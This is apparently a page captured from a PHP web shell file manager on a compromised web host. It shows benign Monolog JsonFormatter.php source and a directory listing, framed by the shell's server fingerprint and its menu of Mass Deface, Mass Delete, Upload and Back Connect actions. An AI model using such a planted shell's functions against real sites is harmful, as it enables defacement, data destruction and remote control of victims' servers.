ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.65 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.16

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / 2 / cwd / home / sspsof5 / bandhutours.com / vendor / monolog / monolog / src / Monolog / Formatter /

Home Upload Mass Deface Mass Delete Back Connect Notify

JsonFormatter.php

<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Formatter;

use Stringable;
use Throwable;
use Monolog\LogRecord;

/**
 * Encodes whatever record data is passed to it as json
 *
 * This can be useful to log to databases or remote APIs
 *
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class JsonFormatter extends NormalizerFormatter
{
    public const BATCH_MODE_JSON = 1;
    public const BATCH_MODE_NEWLINES = 2;

/** @var self::BATCH_MODE_* */
    protected int $batchMode;

protected bool $appendNewline;

protected bool $ignoreEmptyContextAndExtra;

protected bool $includeStacktraces = false;

/**
     * @param self::BATCH_MODE_* $batchMode
     *
     * @throws \RuntimeException If the function json_encode does not exist
     */
    public function __construct(int $batchMode = self::BATCH_MODE_JSON, bool $appendNewline = true, bool $ignoreEmptyContextAndExtra = false, bool $includeStacktraces = false)
    {
        $this->batchMode = $batchMode;
        $this->appendNewline = $appendNewline;
        $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra;
        $this->includeStacktraces = $includeStacktraces;

parent::__construct();
    }

/**
     * The batch mode option configures the formatting style for
     * multiple records. By default, multiple records will be
     * formatted as a JSON-encoded array. However, for
     * compatibility with some API endpoints, alternative styles
     * are available.
     */
    public function getBatchMode(): int
    {
        return $this->batchMode;
    }

/**
     * True if newlines are appended to every formatted record
     */
    public function isAppendingNewlines(): bool
    {
        return $this->appendNewline;
    }

/**
     * @inheritDoc
     */
    public function format(LogRecord $record): string
    {
        $normalized = parent::format($record);

if (isset($normalized['context']) && $normalized['context'] === []) {
            if ($this->ignoreEmptyContextAndExtra) {
                unset($normalized['context']);
            } else {
                $normalized['context'] = new \stdClass;
            }
        }
        if (isset($normalized['extra']) && $normalized['extra'] === []) {
            if ($this->ignoreEmptyContextAndExtra) {
                unset($normalized['extra']);
            } else {
                $normalized['extra'] = new \stdClass;
            }
        }

return $this->toJson($normalized, true) . ($this->appendNewline ? "\n" : '');
    }

/**
     * @inheritDoc
     */
    public function formatBatch(array $records): string
    {
        return match ($this->batchMode) {
            static::BATCH_MODE_NEWLINES => $this->formatBatchNewlines($records),
            default => $this->formatBatchJson($records),
        };
    }

public function includeStacktraces(bool $include = true): self
    {
        $this->includeStacktraces = $include;

return $this;
    }

/**
     * Return a JSON-encoded array of records.
     *
     * @phpstan-param LogRecord[] $records
     */
    protected function formatBatchJson(array $records): string
    {
        return $this->toJson($this->normalize($records), true);
    }

/**
     * Use new lines to separate records instead of a
     * JSON-encoded array.
     *
     * @phpstan-param LogRecord[] $records
     */
    protected function formatBatchNewlines(array $records): string
    {
        $oldNewline = $this->appendNewline;
        $this->appendNewline = false;
        $formatted = array_map(fn (LogRecord $record) => $this->format($record), $records);
        $this->appendNewline = $oldNewline;

return implode("\n", $formatted);
    }

/**
     * Normalizes given $data.
     *
     * @return null|scalar|array<mixed[]|scalar|null|object>|object
     */
    protected function normalize(mixed $data, int $depth = 0): mixed
    {
        if ($depth > $this->maxNormalizeDepth) {
            return 'Over '.$this->maxNormalizeDepth.' levels deep, aborting normalization';
        }

if (is_array($data)) {
            $normalized = [];

$count = 1;
            foreach ($data as $key => $value) {
                if ($count++ > $this->maxNormalizeItemCount) {
                    $normalized['...'] = 'Over '.$this->maxNormalizeItemCount.' items ('.count($data).' total), aborting normalization';
                    break;
                }

$normalized[$key] = $this->normalize($value, $depth + 1);
            }

return $normalized;
        }

if (is_object($data)) {
            if ($data instanceof \DateTimeInterface) {
                return $this->formatDate($data);
            }

if ($data instanceof Throwable) {
                return $this->normalizeException($data, $depth);
            }

// if the object has specific json serializability we want to make sure we skip the __toString treatment below
            if ($data instanceof \JsonSerializable) {
                return $data;
            }

if ($data instanceof Stringable) {
                return $data->__toString();
            }

return $data;
        }

if (is_resource($data)) {
            return parent::normalize($data);
        }

return $data;
    }

/**
     * Normalizes given exception with or without its own stack trace based on
     * `includeStacktraces` property.
     *
     * @inheritDoc
     */
    protected function normalizeException(Throwable $e, int $depth = 0): array
    {
        $data = parent::normalizeException($e, $depth);
        if (!$this->includeStacktraces) {
            unset($data['trace']);
        }

return $data;
    }
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 10:40:22
..	dir	-	sspsof5/sspsof5	drwxr-xr-x	2023-12-04 10:40:22
ChromePHPFormatter.php	text/x-php	2.21 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
ElasticaFormatter.php	text/x-php	2.05 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
ElasticsearchFormatter.php	text/x-php	1.88 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
FlowdockFormatter.php	text/x-php	2.48 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
FluentdFormatter.php	text/x-php	2.29 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
FormatterInterface.php	text/x-php	870 B	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
GelfMessageFormatter.php	text/x-php	4.62 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
GoogleCloudLoggingFormatter.php	text/x-php	1.16 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
HtmlFormatter.php	text/x-php	4.52 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
JsonFormatter.php	text/x-php	5.85 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
LineFormatter.php	text/x-php	7.54 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
LogglyFormatter.php	text/x-php	1.25 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
LogmaticFormatter.php	text/x-php	1.46 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
LogstashFormatter.php	text/x-php	3.43 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
MongoDBFormatter.php	text/x-php	4.84 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
NormalizerFormatter.php	text/x-php	8.58 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
ScalarFormatter.php	text/x-php	1.11 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
SyslogFormatter.php	text/x-php	1.88 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22
WildfireFormatter.php	text/x-php	3.97 KB	sspsof5/sspsof5	-rw-r-----	2023-07-13 01:03:22